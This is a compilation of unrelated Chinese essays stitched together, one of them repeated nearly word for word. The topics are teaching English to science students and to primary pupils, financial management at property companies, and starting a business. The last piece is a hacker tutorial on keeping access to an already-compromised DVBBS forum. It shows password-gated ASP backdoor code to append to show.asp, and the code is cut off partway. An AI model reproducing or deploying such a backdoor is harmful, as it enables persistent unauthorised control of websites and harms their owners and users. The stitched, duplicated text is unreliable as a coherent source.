1）地位日益降低，课时严重压缩。长久以来，关于专业英语的认识存在一些误区，有人认为专业英语或科技英语与大学英语具有相同的语音、词汇、语法体系，只是涉及专业知识，专业术语多了一些而已。甚至有人认为专业英语根本不存在，大学英语教学应当是基于普通英语的教学，无需进行专业英语教学。《大学英语课程教学要求》对专业英语只字未提，学校和学生对四、六级考试通过率的关注使专业英语变得可有可无，专业英语正面临退出我国大学英语教学舞台的'危险。

另一方面，20教育部颁发文件提出“本科教育要创造条件使用英语等外语进行公共课和专业课教学，力争三年内，外语教学课程达到所开课程的5%――10%。”教育部又制订了《本科教学工作水平评估指标体系》，明确规定A级标准学校专业双语教学的开设门数应不低于8%。这两个文件促使各高等院校大力推进双语课程的建设。在双语课程的挤压下，专业英语教师被抽调去开设双语课程，专业英语课程遭到了毁灭性打击。很多学校干脆取消专业英语课，而替代以双语课程。

1985年《大学英语教学大纲》指出：“专业英语为必修课程，安排在3――4年级”。但是在全面推进学分制改革和压缩本科总学分的大环境下，在基础英语教学和双语教学的夹击下，各院系纷纷压缩专业英语课的课时。目前开设了专业英语课的学校，多数将专业英语课安排在一个学期完成，每周两个课时，如此短的时间很难达到应有的教学效果，学生对专业英语的教学评价不高，愈加使人怀疑专业英语开设必要性，形成了恶性循环。

2）缺乏统一的教学大纲，缺少优秀教材。(英语教学论文 )专业英语是专业内容与英语语言技能培养的结合，每一个领域的内容差别很大。专业英语课程缺乏规范的教学大纲，虽然原1985年《大学英语教学大纲》中对专业英语课程做出了指导性的规定，但过于笼统，并且每个领域的专业英语内容各不相同。

教材是课程的依据，目前的专业英语教材多数是以专业阅读为目的，采用“课文+翻译”的形式，且课文内容枯燥单一，难以使学生对教学内容产生兴趣，从而在很大程度上影响了学生的上课积极性和教学效果。

教学大纲和优秀教材的缺乏使得授课内容的自由度过大，由于教师各自对课程的认识不一致而影响教学效果。

3）师资缺乏，教学方法单一。目前，专业英语课由专业教师或大学英语教师开设。受自身英语水平的制约，由专业教师开设的专业英语课效果不理想，普遍采用语法翻译法；而由大学英语教师开设的专业英语情况更不好，由于大学英语教师的学历背景，他们绝大多数选择英美报刊选读、英美概况、英美文学等课程，很少愿意开设专业英语。

目前，专业英语教学模式的主流是“翻译+阅读”教学模式，该教学模式沿用传统的以教师为中心的语法翻译教学法，由教师主宰整个课堂，翻译课文意思，讲解语言点，学生是被动的知识接受者，没有积极地参与到课堂活动中来。这种教学模式虽有助于学生掌握一定的语言知识和翻译技能，能提高学生的专业文献阅读能力，但忽视了对英语实际运用能力的训练，无法使学生获得外语综合应用能力。

4）学生差异大，无法实现因材施教。专业英语是比较高级的应用英语教学，需要学生对英语基本知识有一定程度的掌握。同一个班的学生通常在英语水平上有较大差别，而传统的教学方式对学生做相同对待，这就导致如果老师的教学进度太快、教学要求高，一些基础差的学生就很难跟上；如果老师的教学进度太慢、教学要求低，一些基础好的学生就会觉得没有东西可学。另外，学生对自己学习专业英语的目的和目标不是很明确，他们多半把学习重点放在课堂教学上，很少有学生在课后广泛接触本专业的外文资料。课堂教学的难易程度一般是针对班级中等水平，只是通过课堂教学很难满足具有不同英语基础的学生的学习需要。

1.2专业英语课程开设的必要性

由于对专业英语存在认识误区，很多学校直接将专业英语课砍掉，在大学一、二年级开设公共英语，高年级直接开设双语课程，大多院校几乎没有开设专业英语。公共英语教学是语言教学（Lan-guage-based），以语言的讲解和训练为主线，主要侧重于传授语言基础知识和技能。双语教学是用英语来讲授非语言的知识，如物理、数学、化学及其他专业知识，它不是语言教学，是以讲授内容为主线（ Content-basec）的教学，它不同于专业英语教学。从公共英语一下子进入以专业知识为教学重点的双语课程，学生感觉无所适从，普遍反映：原版教材和文献阅读太慢，专业方面的词汇量不够，句子和语篇结构不熟悉；期末考试的思考题用英文回答有难度，尤其是英语小论文有困难。

双语教学只是增加了专业词汇、提高了阅读能力，距离把英语作为交际工具，通过英语获取专业所需要的信息、表达自己的专业思想的目的相差较远。专业英语可以起到从公共英语到双语教学的衔接作用””。专业英语应培养学生较强的专业英语应用能力，包括英语学术能力和专业词汇、结构和语篇等方面的技能，为后继双语课程的学习打好语言技能和专业知识基础，使学生从普通英语向双语课程的学习有一个更好的过渡，提高他们用英语开展学术研究和专业工作的能力。

2专业英语课程内容的整合

外语教学分为专门用途英语ESP （English forSpecialPurposes）和普通英语GE（GeneralEnglish）两大类。ESP又可以分为专业英语ESAP （Englishfor Specific Academic Purposes）、学术英语EGAP（ English for General Academic Purposes）和行业英语EOP （EnglishforOccupationalPurposes）。专业英语是以某一学科领域为内容的英语教学，如有软件英语、医学英语等课程，偏向知识性；学术英语则是主要训练学术口语交流能力和学术书面交流能力的课程，偏向能力性。

随着全球化进程的加快，社会需要毕业生具有较强的国际竞争力，不仅具有一般的听、说、读、写英语技能，学生还必须要提高他们用英语开展学术研究和专业工作的能力。除了积累足够的专业词汇，熟悉科技英语的结构，能够读懂英语专业文献，同时能听懂英语学术讲座，能参加国际商务和技术谈判，能用英语写各种商务信函、学术论文和技术报告。这些内容是专业英语和学术英语的范畴，甚至包含了科技英语的成分。

在以往的教学中，应用提高阶段（3――4级）分为科技英语阶段及专业英语阶段。目前专业英语课时严重压缩，如此少的课时，不能完成教学任务。应当利用信息技术提供手段将科技英语、专业英语和学术英语课程有机地整合起来，使专业英语的教学真正达到能够培养学生专业的综合运用能力，以英语为工具有效获得专业知识，有效地进行英语专业相关的交流的目的。

针对社会和学生的需要，对科技英语、专业英语和学术英语的教学内容进行了整合。以物理专业英语为例，专业英语教学内容包括以下几个方面。

1）科技英语部分。（1）教学材料为科普性的真实材料，取自社会科学、自然科学以及工程技术等广泛学科，使学生开阔科普视野和思路，习惯于阅读真实的语言素材；（2）了解科技英语的词法、语法、语篇特点；（3）掌握各种基本专业词汇及各专业共有的次技术词汇。

2）专业英语部分。（1）大多数材料取自物理专业课程原版教材，少数取自近期的原版杂志和会议论文等。整个教材的内容要做到与物理专业的课程紧密相关，同时反映了该领域的学科前沿；（2）掌握主要专业文献品种的语言风格，了解专业英语的词法、语法、语篇特点；（3）加强对专业阅读的训练，使学生可较顺利地阅读英文原版专业教材及专业刊物；（4）熟悉和掌握一定量的物理专业词汇和专业术语。

3）学术英语部分。（1）科技英语阅读：加强参阅、浏览、查找信息等阅读技能的培养和训练，进一步提高阅读理解能力和综合分析能力；（2）科技英语写作：训练英语写作的基本技能，如摘要、个人简历、图表说明等，了解专业论文的写作规范；（3）科技英语翻译：了解英汉两种语言的异同，掌握基本的英译汉、汉译英的科技英语翻译基本技巧；（4）科技英汉会话：训练学生应用英语进行专业方面交流的能力；（5）构词法：掌握构词法知识，掌握常用前缀、后缀、词根；（6）科技文献检索：介绍常用数据库及检索方法。

根据以上教学内容制作和收集了相应的教学课件，设计和建设了专业英语学习网站，为学生提供系统、有效的专业英语学习素材。

篇9：信息技术下理工科专业英语教学的新思路

现代信息技术，即计算机和网络正在深刻地改变着学生的学习环境和学习方式，尤其是互联网的兴起更是为计算机教学提供了无限的空间。将计算机和网络等现代信息技术整合到英语教学中，使不同水平、不同兴趣、不同特长、不同学习方式的学生可以面对不同层次的学习课件和学习情景。教师也才有可能根据学生的不同情况使用、改进或设计适合学生特点的课件，让每个学生都得到恰如其分的辅导和教学，从而实现因材施教的目标。在网络和多媒体教育的环境下，能够通过各种手段引导学生开发自己的创造性思维能力，打破传统教学的束缚，培养学生自主学习、自我创新的精神。信息技术与课程的整合为教学提供了良好的学习环境，使学生的主体地位得以真正确立，使自主学习、探索学习、协作学习得以真正实现，极大地激发了学生的学习动机，培养了创新精神和实践能力。

信息技术与课程整合的实施需要教师转变教与学的观念，转变教学方式与学习方式。把信息技术作为教学工具并将其应用于专业英语教学之中，教学过程中可以探索新的教学方法，以替代“翻译+阅读”模式。

1）自由组合，形成小组。由教师先对专业英语学习内容、学习方法及学习目标进行介绍，学生根据兴趣自发分成学习小组，一般每个小组3――5人。在今后的专业英语学习过程中，小组采取分工合作的形式来开展专业英语学习，学生可以相互促进，从而培养了学生协作学习的能力。

2）主题教学，引导学习。每一次课堂学习，教师可以利用课件演示相关的背景知识，以创设学习情境。以声、图、文、视频等多方面元素调动学生积极性，激发其兴趣，同时提出本次课的主题，使学生明确学习的内容和需要解决的问题，并以此为基础组织学生进行协作学习。

3）自主学习，协作分工。学生根据自己的英语基础，制定专业英语学习计划，教师给予指导。课堂教学之外，学习小组对课堂提出的主题和问题进行明确分工并协作学习。学生根据自己的学习主题和问题，到专业英语学习网站下载和主题相关的课件和学习资料，学生还可以充分利用其它的学习资源或书籍、音像制品、网络等搜集资料，完成任务后拿到课堂上进行交流和共享，从而实现完整意义的建构。

4）交流小组学习成果。每次课堂教学，抽取一个或几个学习小组针对上次的主题或问题展示小组学习成果。每个小组也可向其他的小组成员发布自己小组收集、整理、加工过的知识和信息。学生共享了所有小组的学习成果，又在发布的过程中巩固了知识，还能获得一种学习的成就感。

4结束语

由于种种困难，目前的理工科专业英语教学情况不尽如人意，达不到教学要求，学生对专业英语的学习兴趣也日益降低。而专业英语教学是从普通英语向双语教学过渡的重要课程。本文针对社会和学生的需要，对专业英语教学内容进行了重新的定义，将科技英语、专业英语及学术英语课程内容进行了整合，建立了专业英语学习网站。在信息技术应用与课程整合的基础上，提出了专业英语教学和学习的新方法，建立开放式、多渠道、全方位的教学模式，培养学生的自主发现和自主探索，是一种能充分体现学生主体地位的“自主、探究、合作”的新型学习方式。新的教学思路使专业英语的教学能够培养学生专业的综合运用能力，训练学生利用英语这一工具，从而有效地获得专业知识，有效地进行英语专业相关的活动与交流。

参考文献

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[11]王海华，王同顺，双语教学与公共英语教学的接口问题[J].外语界，2003，93 （1）： 26-31.

[12]郝小艳，对理工类高校学生学习科技英语的思考[J].科技情报开发与经济，2006，16 （19）： 252-253.

篇10：小学英语教学初探

小学英语教学初探

小学英语教学初探

刘鸿潞

（赤峰市实验小学 刘鸿潞）

小学英语教学作为启蒙性教学应以启发式教学为主，不能单单教会学生几个字母、几个单词就算完成任务 ，而应以培养学生学习兴趣，培养学生运用英语的听、说、读、写的初步能力为主要任务。学生运用英语的能 力是建立在一定数量的常用词汇和基本语法上的，所以，小学英语教学应是丰富多采、生动活泼的。

一、具体代抽象，以实物教学为主

在教育（www.35d1.com－上网第一站35d1教育网）学中，有一种原则是认知先行。所谓认知先行就是要求教师通过具体的、形象的、直观的事物和行 为来教会学生用英语进行正确表达。常识告诉我们，人类对世界的认识总是从感知逐步开始的，即使是学习母 语，人们总是通过肉眼观察，通过耳朵去接受信息来实现存在的表象与语言信息的对应的结合。

具体事物教学法能有效地吸引学生注意力和观察力，同时，可以增强学生的记忆力和想象力，提高学生的 求知欲望。教师对这一教学法的运用，可以通过实物、动作、表情及英语描述为主，辅助以简单的汉语的解释 来组织教学。例如：在教“pen”这个词时，教师先拿出一支钢笔，说：“look!this is a pen.”并重复二、三次，再拿起学生的一支钢笔说“This is a pen too.”然后点点头表示肯定。当然在读时，“pen”这个词要 读重音，这样学生就能理解了，“pen”这个符号就是汉语中“钢笔”的意思。同时，学生们看了铅笔、小刀、尺子等实物时，就会自觉地想学会它们的'英语发音了。

以具体事物代替抽象事物来进行小学英语教学，不仅符合人类获得语言知识的基本规律，而且很自然地把 视、听、说有机地结合在一起，有利于调动学生学习兴趣。

二、联系生活实际，创造教学情景

苏霍姆林斯基说“学习兴趣是学习活动的重要动力”。小学生学习英语，大都存在一种猎奇心理，他们对 新事物、新知识开始表现出很浓厚的兴趣。然而，他们年龄特点，又决定这种兴趣存在的短暂性。因此，如果 单纯地反复认读、书写单词、句型、会话等，容易使学生产生厌倦心理，丧失学习兴趣，从而影响教学质量。 如果教师在教课中，适当联系生活实际，创造出一些生活情景，就能消除学生的厌倦心理，调动学生的积极性 ，产生出不同的教学效果。

例如，在学习字母“T”和“V”时，教师可以先问学生，“你们看过这两个字母吗？你们知道赤峰电视 台的缩写字母吗？”这样的提问对平时爱看电视及一些细心观察的孩子来说是很容易回答的，他们会很快说出 “看过，在电视上看过，CFTV”等，继而发挥想象力，说出“NMTV、CCTV”等，你一言，我一语 ，由少数学生参与学习慢慢地带动了全体学生。这样，既活跃了课堂，学习了新知识，又巩固了学过的知识； 同时，联系了生活实际，学以致用。运用生活实际，把日常生活中的交际形式搬上课堂，为学生在日常生活中 使用课堂上所学的

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篇11：小学英语教学初探

小学英语教学初探

小学英语教学初探

刘鸿潞

（赤峰市实验小学 刘鸿潞）

小学英语教学作为启蒙性教学应以启发式教学为主，不能单单教会学生几个字母、几个单词就算完成任务 ，而应以培养学生学习兴趣，培养学生运用英语的听、说、读、写的初步能力为主要任务。学生运用英语的能 力是建立在一定数量的常用词汇和基本语法上的，所以，小学英语教学应是丰富多采、生动活泼的。

一、具体代抽象，以实物教学为主

在教育学中，有一种原则是认知先行。所谓认知先行就是要求教师通过具体的、形象的、直观的事物和行 为来教会学生用英语进行正确表达。常识告诉我们，人类对世界的认识总是从感知逐步开始的.，即使是学习母 语，人们总是通过肉眼观察，通过耳朵去接受信息来实现存在的表象与语言信息的对应的结合。

具体事物教学法能有效地吸引学生注意力和观察力，同时，可以增强学生的记忆力和想象力，提高学生的 求知欲望。教师对这一教学法的运用，可以通过实物、动作、表情及英语描述为主，辅助以简单的汉语的解释 来组织教学。例如：在教“pen”这个词时，教师先拿出一支钢笔，说：“look!this is a pen.”并重复二、三次，再拿起学生的一支钢笔说“This is a pen too.”然后点点头表示肯定。当然在读时，“pen”这个词要 读重音，这样学生就能理解了，“pen”这个符号就是汉语中“钢笔”的意思。同时，学生们看了铅笔、小刀、尺子等实物时，就会自觉地想学会它们的英语发音了。

以具体事物代替抽象事物来进行小学英语教学，不仅符合人类获得语言知识的基本规律，而且很自然地把 视、听、说有机地结合在一起，有利于调动学生学习兴趣。

二、联系生活实际，创造教学情景

苏霍姆林斯基说“学习兴趣是学习活动的重要动力”。小学生学习英语，大都存在一种猎奇心理，他们对 新事物、新知识开始表现出很浓厚的兴趣。然而，他们年龄特点，又决定这种兴趣存在的短暂性。因此，如果 单纯地反复认读、书写单词、句型、会话等，容易使学生产生厌倦心理，丧失学习兴趣，从而影响教学质量。 如果教师在教课中，适当联系生活实际，创造出一些生活情景，就能消除学生的厌倦心理，调动学生的积极性 ，产生出不同的教学效果。

例如，在学习字母“T”和“V”时，教师可以先问学生，“你们看过这两个字母吗？你们知道赤峰电视 台的缩写字母吗？”这样的提问对平时爱看电视及一些细心观察的孩子来说是很容易回答的，他们会很快说出 “看过，在电视上看过，CFTV”等，继而发挥想象力，说出“NMTV、CCTV”等，你一言，我一语 ，由少数学生参与学习慢慢地带动了全体学生。这样，既活跃了课堂，学习了新知识，又巩固了学过的知识； 同时，联系了生活实际，学以致用。运用生活实际，把日常生活中的交际形式搬上课堂，为学生在日常生活中 使用课堂上所学的英语创造条件，可使学生学习热情高涨，保持和加强了学生的注意力，提高了学生们的语言 交际能力。

三、正确示范，比较鉴别，削弱负迁移的影响

所谓负迁移，是指一种学习对另一种学习起干扰或抑制作用。小学生的思维特点是具体形象思维占主导地 位，所以他们的模仿力特别强。针对这个特点，教师首先要给学生以正确示范，多做比较鉴别以削弱负迁移的 影响。例如，学生学习的汉语拼音对英语字母的语音、书写起严重的干扰作用，这种干扰作用在小学英语教学 中已成为所有英语教师的一道难题。

在26个英语字母的学习中，学生们已完全掌握了汉语拼音的拼读。在学习英语字母时，容易鱼目混珠， 所以我们可以将字母和汉语拼音逐个比较，从形体、书写、读音来找差异将它们分别开来。在教授26个字母 时，可以先学唱字母歌，并配以简单的舞蹈动作，使学生在蹦蹦跳跳的同时，掌握字母的发音。在学生正确发 出和辨认26个字母的音形基础上，指导学生进行书写练习。此时，可以分步进行教学，第一步，书写训练； 第二步，基本笔画描红书写；第三步，分阶段进行字母描写。这样英汉对照。比较鉴别，可以帮助学生消除负 迁移的干扰，在学生心中形成英、汉是两种不同的语言方式这一强烈的印象，避免出现中式英语现象。

总之，小学英语教学应从学生实际出发，有目的、有计划、有方法地传授知识，使学生能学到适应社会需 要的英语知识。

篇12：加强财务管理新思路浅议

[摘要]科学发展观对于整个社会而言,它在具体实践中是一项科学、系统、严密的庞大的工程,包括经济建设、政治建设、文化建设、社会建设等的全面协调可持续发展。它是促进经济社会又好又快发展的基本要素,而对国有物业公司而言,它是保障公司整体又好又快发展应该拥有的健康机制。作为物业公司中最重要的管理职能——财务管理也必须与社会发展同步,应以科学发展观为指导,加强财务管理新思路。

[关键词]科学发展观财务管理新思路

作为房地产行业重要组成部分的物业公司,在面临越来越激烈的市场经济竞争,需要扭转传统的粗放型管理观念,以科学发展观为指导,了解科学发展观的真实内涵和科学发展观对财务管理目标的新要求和核心目标,才能找出时下企业

加强财务管理新思路。

一、科学发展观内涵

全面、协调、可持续发展是科学发展观的基本内容,它是一个相互联系的有机整体。全面是指各个方面都要发展,要以经济建设为中心,推进经济、政治、文化建设,实现经济发展和社会全面进步;协调是指各个方面的发展和发展的各个方面都要相互适应,要坚持“五个统筹”,推进生产力和生产关系、经济基础和上层建筑相协调,推进经济、政治、文化建设的各个环节、各个方面相协调;可持续是指发展必须保持持久性和承续性,要促进人与自然的和谐,实现经济发展和人口、资源、环境相协调,坚持走生产发展、生活富裕、生态良好的文明发展道路,保证一代接一代地永续发展。

实现全面、协调、可持续发展,就要正确处理速度与结构、质量、效益的关系。既要保持较快的增长速度,又要改善、优化结构,提升增长质量、提高增长效益,实现速度和结构、质量、效益相统一,也要正确处理经济社会和人口、资源、环境的关系。

在了解科学发展观的真实内涵的同时,需探寻科学发展观对财务管理目标的新要求,以便找出时下行政事业单位财务管理存在的主要问题。

二、科学发展观对财务管理目标的新要求

物业管理公司财务管理目标是指物业管理公司从事财务管理活动所期望达到的目的,它决定着企业财务管理的基本方向,同时也受制于物业管理公司目标。物业管理公司的目标为:通过优良的物业管理和高水平的多种经营服务,企业得到盈利。这是一种双重目标,提供更多的产品和更好的物业服务是物业公司存在的前提,而物业管理公司的盈利又是企业发展的必要条件。这种双重目标是相互联系的,缺一不可。

科学发展观下为实现物业管理公司的目标,物业管理公司财务管理的主要任务是:合理编制企业预算;科学配置资金;依法组织收入,加强经济核算,努力节约支出,提高资金使用效益;加强资金管理,防止企业资产流失;建立健全财务管理制度,对企业经济活动进行预测、控制和监督;及时、准确反映企业财务状况。通过制度、预算等主要手段,规范和约束企业的财务行为,保证国家法律、法规、政策的贯彻执行,保护企业资产的安全完整,提高企业资金的使用效益,确保物业管理公司履行公司职能过程中各项业务活动的健康运行,实现其企业发展目标。

三、科学发展观条件下的财务管理核心目标

财务管理目标是企业管理目标在价值角度的再现,应与企业目标相一致。以科学发展观为指导,综合利益最大化应成为财务管理的核心目标,这是各利益主体地位平等化、企业发展持久化以及可持续发展战略的必然要求。现代企业是利益相关者缔结的一项合约,这些相关者包括投资者、债权人、经营者、员工、国家、社会公众以及资源和环境,他们既是合作者,又是利益的矛盾对立者。投资者和债权人预付货币资本或实物资本,经营者和员工预付人力资本,国家预付国有资本和政策资本,社会公众、资源和环境预付生态资本等。这些资本预付者的共同目标是获利,获得应得的资本报酬。投资者投资于企业是希望获得资本增值;债权人借钱给企业是希望获得利息和租金;国家支持企业是希望国有资本增值和征取税收,发展国家经济;经营者和员工服务于企业是为了获得人力资本收益和劳动报酬;社会公众关注并支持企业是希望企业能为他们提供物品和劳务,带来一个繁荣、良好的社会环境等;环境和后代人期望企业能够保护环境、节约资源。从经济学角度看,投资者、债权人、国家,经营者、员工是并列的经济主体,其经济利益是同质的,所不同的仅仅是建立的契约形式不同。

所以,无论从理论上讲还是从利益要求的源头看,企业所追求的不是单一利益,而是综合利益,这种综合利益是各种形式的经济利益之间通过冲突与协调、对立与统一的矛盾运动,相互影响、相互作用的结果。从更广泛的角度看,综合经济利益是多层次、多形式的经济利益的“耦合”。首先,综合利益是客体利益、主体利益、时间利益、过程利益的“耦合”;其次,从各种利益的内部结构看,主体经济利益是投资者利益、债权者利益、经营者利益、员工利益、国家利益、社会公众利益的“耦合”;客体利益是从利益的内容上来看的,利益的内容是经济利益、生态利益、社会利益的“耦合”;时间经济利益是近期利益和远期利益的“耦合”;过程经济利益是资金筹集利益、资金使用利益、收益分配利益的“耦合”。这种多层次系统性综合结构有利于调动各方面的积极性,优化资源配置和经济结构的调整,有利于节约资源,改善环境,实现可持续发展战略。

四、科学发展观指导下,财务管理发展新思路

(一)创新财务管理内容

创新财务管理内容至少包括:第一投资战略调整为“投知”或“投智”战略知识经济时代,企业从事生产活动所需的投资、员工、技术、市场等,均以员工的知识、能力为基础,由此决定了“投知”或“投智”的重要性。第二,利润分配由按资分配调整为按“经济要素”分配。经济要素包括土地、劳动、资本和知识。在知识经济社会中,脑力劳动成为劳动的主要形式,因此按知识或按经济要素分配财富是知识经济社会的必然选择。这种分配模式比按资产分配更符合实际。第三,日常管理内容的扩展。企业应该将无形资产管理作为财务管理的重点。在知识经济时代企业资产结构中,以知识为基础的专利权、商标权、商誉等无形资产在企业的总资产中占有的比重逐渐增大。因此,在现阶段,无形资产也应成为企业财务管理的主要对象,应建立切实反映无形资产状况及其结果的决策指标体系,投资决策的重点应以无形资产为主,并以是否给企业带来人力资源积累、提高人力资源质量、增强企业创新能力及持续发展动力作为效益评价的标准。

(二)转变财务观念,坚持以人为本

现代企业的财务活动是在一定的理财环境下进行的,公司财务资本的取得、运用及其收益分配无不受到理财环境的深刻影响。现代市场经济中,公司所面临的理财环境日趋复杂,在资本市场上,金融创新日新月异,金融工具从一般金融工具发展到衍生金融工具,而且,更多更新的衍生金融工具不断涌现,与社会主义市场经济体制相适应的一系列法律法规日臻规范和完善。在人类21世纪的市场经济环境中,“不确定性是唯一可以确定的因素”。理财环境的复杂多变对公司财务管理提出了严峻的挑战,如何应对这一变化,公司就需要进行观念创新。科学发展观提出“以人为本”的观念对公司财务管理创新具有重要的指导作用。在知识经济条件下,人成为公司生存和发展的决定性因素,应对公司所面临的复杂的理财环境,就必须充分重视人的因素,树立以人为本的财务文化观念。公司价值观的一个重要组成部份就是财务文化观,树立什么样的财务文化观反映了公司的哲学思维理念。传统财务文化观念是物本主义,以物为主。在这种价值观下,公司的物质资本在财务管理中处于第一位的、支配的,人力资本处于第二位的、从属的。结果是忽视了人这个生产力中最活跃、最革命的决定性因素,没有充分发挥劳动者的首创精神。在科学发展观下,人不再是工具和手段,而是目的。经济发展以人的发展为目的,公司的发展要以人的全面发展为目的。我们应该摒弃把物质资本看成最重要经济资源的传统认识,而充分重视人力资源的开发、配置和利用。以人为本的财务观念,就是要充分发挥人的主观能动性,尊重劳动者个人的首创精神,一切为了人,一切依靠人,一切相信人。实行全员的全面财务管理,每个人既是财务管理实施者,又是财务管理成果的受益者。

(三)树立科学的理财观念

首先必须坚持依法理财。要适应形势任务和情况变化,不断修订和完善有关制度规定,做到有法可依;切实维护财经法规的严肃性和权威性,做到有法必依;履行财务人员肩负的监督职能,加强财经法规执行情况的监督检查,督促有关部门严格执行财经纪律,按章办事,及时纠正和查处发现的问题,做到违法必究。其次必须注重勤俭理财。要按照建立节约型社会的总体要求,弘扬艰苦奋斗的优良传统,树立节约意识,坚持量入为出,严把经费标准关,大力压缩行政消耗性开支,把有限的经费用到刀刃上。再次,必须创新理财。一方面,要积极借鉴和运用现代管理科学原理,创新管理方法,促进预算管理、集中采购等各项改革整体推进,逐步提高信息化管理水平。另一方面,要深入考察和研究财务保障中出现的新情况、新问题,积极提出解决供应保障矛盾和问题的新对策、新手段、新措施,切实提高经费使用效益。

(四)结合互联网对财务管理进一步创新

当前,以internet为代表的信息技术的普及和发展,交互式web应用的出现,电子商务浪潮作为经济和知识经济的引擎彻底改变了企业的生存环境,从大规模的生产到个性化生产,从企业以产品为中心到以客户为中心,从企业间产品的竞争发展到信息和人才的竞争从单个企业间的竞争到供应链竞争,从区域竞争到全球化竞争,从以规模取胜到以速度取胜,这些变化使财务管理在管理过程中的手段随之提高尤其是全球经济一体化的进程不断加快通讯手段的飞速发展,信息得以高速流动。资源高度集中电子商务浪潮的掀起使企业财务管理走向网络化,IT环境的形成,信息可以被实时动态地获取、存储、加工和传递。尤其数据平台的建立,将企业内部各部门之间、企业与供应商、企业与客户、企业与其他职能部门紧密地联系在一起,同时也将企业的财务流程和经济业务流程有机地融合在一起。供应链管理的发展,也是财务管理网络化的一个动因,在供应链管理中,财务管理用信息流将物流和资金流整合起来。这样,财务管理的网络化为企业经营在资金和商品之间的传递节省了大量时间,降低了经营费用加速了企业的资金周转,同时在企业做财务决策时也可以在这个链上获得及时的信息。

(五)不断提高财务人员的职业道德水准

财务人员经常与钱物打交道,能否经受住诱惑,经受住各种考验,做到常在河边走就是不湿鞋,这不仅仅是个人素质问题,更是反映财务行业工作的职业道德水准。近几年,财务队伍中发生的个别违纪问题,表明我们在职业道德建设上还存在死角,特别是对财务人员的生活圈、娱乐圈、社交圈管得不够严,掌控不够。职业道德对行业来说是一种风气,对个人来说是形象,作为财务部门的人员,尤其是领导人员,必须带头树立行业新风,通过自身的模范作用和履行好自身职责,带出一支好队伍。

五、结语

更好的研究科学发展观的内涵,是为了更好地把握有限的资源,让有限的资源创造更多的财富。对市场经济环境下物业管理公司财务管理的研究,是为了进一步改进与创新当前财务管理理论与管理方法,从而更好地指导财务管理更加实务,更加国际化。物业管理公司财务管理更应该关注与市场接轨,适应市场、更加透明才能得到长足发展。

【参考文献】

[1]温素彬.公司治理模式选择与理财目标创新[J].经济问题.2002(10).

[2]温素彬.基于科学发展观的企业三重绩效评价模型[J].会计研究.2005(4).

[3]李心合.知识经济与财务创新[J].会计研究.2000(10).

[4]韩平.我国中小企业融资问题思考.金融时报.2004.

[5]叶陈毅.无形资产管理.复旦大学出版社.2006.4.

[6]李建忠、李爱茹.关于财务管理创新的思考[J].财会与审计.2007,2

篇13：浅谈创业新思路

浅谈创业新思路

现在我们看到的创业都是从自己有了一个好的idea后 ，然后根据自己自身的情况来判断这个idea的可行度，如果这个想法和自己本身接触的知识，信息，人脉，资源等等都有联系，并且这个想法在现在还没有人来做，有非常大市场前景，现在很好，你认为可以做。然后你和你身边的一些人聚在了一起组成了一个团队，你们为了一个共同的远景和使命努力奋斗，写自己的商业计划书，然后利用身边的资源来融资或者是通过风投使自己获得一个公司的注册资本和运作资金。接着团队的每一个人都尽职尽责的做好自己本职的工作，并且一起来谋划未来公司的发展趋势和走向。如果作为一个大学生，他如果想创业就好像要非常的了解企业，产品方向，管理以及一些核心技术性的知识。这些东西有几个大学生能有啊！并且大学生在注册公司的注册资本和启动资金方面也是一个巨大的问题。一且都是从零起点做起，仿佛一看创业可望而不可及。从一些教授和导师的授课中（以及网上的一些视频讲座），我在想，是不是有一些更简单的方法来让我们取得成功呢?答案是肯定的！

首先有一点我们都同意的是成功是一点一点积累起来的，每一个人成功都是建立在上一个成功的基础之上的。我们不可能一开始就把自己的公司打造成IBM，联想，阿里巴巴，沃尔玛等等的世界五百强型的企业；因此我们想成功创业的一个前提是一定要追求轻松，简单，快速和安全的成功。想想如何去实现一个小的成功，然后把每一个小的成功进行累加，最后变成一个大的成功，你每成功一次你都会发现一些小窍门，众多的小窍门聚集起来就变成了你的财富，你的资产，你的成功保证。

其次我想说的是现在是一个信息大爆炸的时代，在这个时代很多的产业都已经兴起并且包括很多的附属产业。你想创业你不是一定什么都要从零开始，你是一个学生，你的资源非常有限，你接触的人就是那几个老师和同学，怎么办？你如何去找我想要的杠杆呢？我想了想方法不是没有，只是需要逆向思考，就是首先你知道他能帮你，当时你如何说服他（可以是一个人，一个企业或风险投资机构）为你提供资源（或者叫鱼塘）。就是他为什么要帮助你，帮助你之后他有什么好处，你能还给他带来多大的利益，帮助你有没有风险，成功的几率有多大等等，这些问题他很困扰。因此你要让他的这种困扰不复存在。就是所谓的你要给他一个零风险承诺，排除它的后顾之忧。并且这种零风险承诺你是能够实现的，不是空口白话。方法有很多，这里我不详细说明。我只是想说你要学会利用别人的鱼塘来为你零基础弥补空白，这样开始创业你就不是在零起点而是站在半山腰。

再者无论你做什么产品和服务，你都离不开的一个东西，那就是客户。刚开始创业没人知道你，没人知道你的公司，你和你的公司在茫茫的.红海中挣扎，没有顾客你的公司运营不下去怎么办？如何去争取顾客呢！我从刘克亚老师的讲座中得到灵感就是上面的借用杠杆。不管怎么说，你想要的顾客现在一定已经是别人的顾客，那么你要做的就是让别人的鱼塘里的鱼变成你的鱼，要别人鱼塘里的顾客变成你的准客户，这一步营销学里叫做抓潜。通过抓潜你拥有了客户，这些潜客户杜变成了你的准客户，你有了客户之后你要和他交易，出售你的产品和服务。那为什么客户会花钱买你的产品和服务呢！同理就是你的零风险承诺和你给他带来的价值。你是怎样给他价值的呢！并且他是如何感到他得到的很超值呢！那就是每个人都有梦想和你一样他们也想成功。你提供的正是他们此阶段非常渴望的产品和服务。并在此之上的是，你会给他们提供一大部分免费资源，这样最开始的时候他们的欲望得到了满足，并且没有花一分钱，非常超值，你给他们心中的印象非常深刻，这样你就建立起了顾客在你这里的归属感，他对你产生了信任，那么以后你推出的任何产品和服务他都非常感兴趣，因此他想和你交易。这样企业就从一个被动销售变成了主动销售，你掌握了主动权，你不在为了争取顾客需要花费大量的营销费用，这样你的公司变成了一个良性循环，这样你的公司就有了复制，外延和放大的基础，你将走得更远。

篇14：后门新思路

作者：随矜而去 www.xxql.com/

今天给大家说一下 在动网BBS下一个做后门的新思路

大家入侵完一个动网BBS后，怎么做一个后门，这个是我攻击一个黄色网站时候想到的，但不知道是不是有人已经比我先想到，我就在这里说了！

好了，开始吧，我们在他论坛下找到show.asp，然后编辑！

在最下面插入

<%dim noon%>

<%noon=request(”noon“)%>

<%if noon=”xxql.com“ then%>

<%dim objFSO%>

<%dim fdata%>

<%dim objCountFile%>

<%on error resume next%>

